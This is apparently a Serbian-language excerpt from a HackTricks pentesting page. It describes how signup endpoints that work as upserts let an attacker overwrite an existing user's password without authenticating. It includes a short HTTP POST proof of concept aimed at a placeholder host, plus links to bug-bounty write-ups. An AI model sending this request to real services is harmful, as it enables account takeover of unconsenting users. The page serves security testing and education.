Neke aplikacije implementiraju signup handler kao upsert. Ako email već postoji, handler tiho ažurira korisnički zapis umesto da odbije zahtev. Kada registration endpoint prihvati minimalan JSON body sa postojećim emailom i novom lozinkom, to efikasno postaje pre-auth password reset bez ikakve verifikacije vlasništva, omogućavajući full account takeover.
Pre-auth ATO PoC (overwriting an existing user's password):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Referencije
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Kako sam pronašao kritičan propust u resetovanju lozinke (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}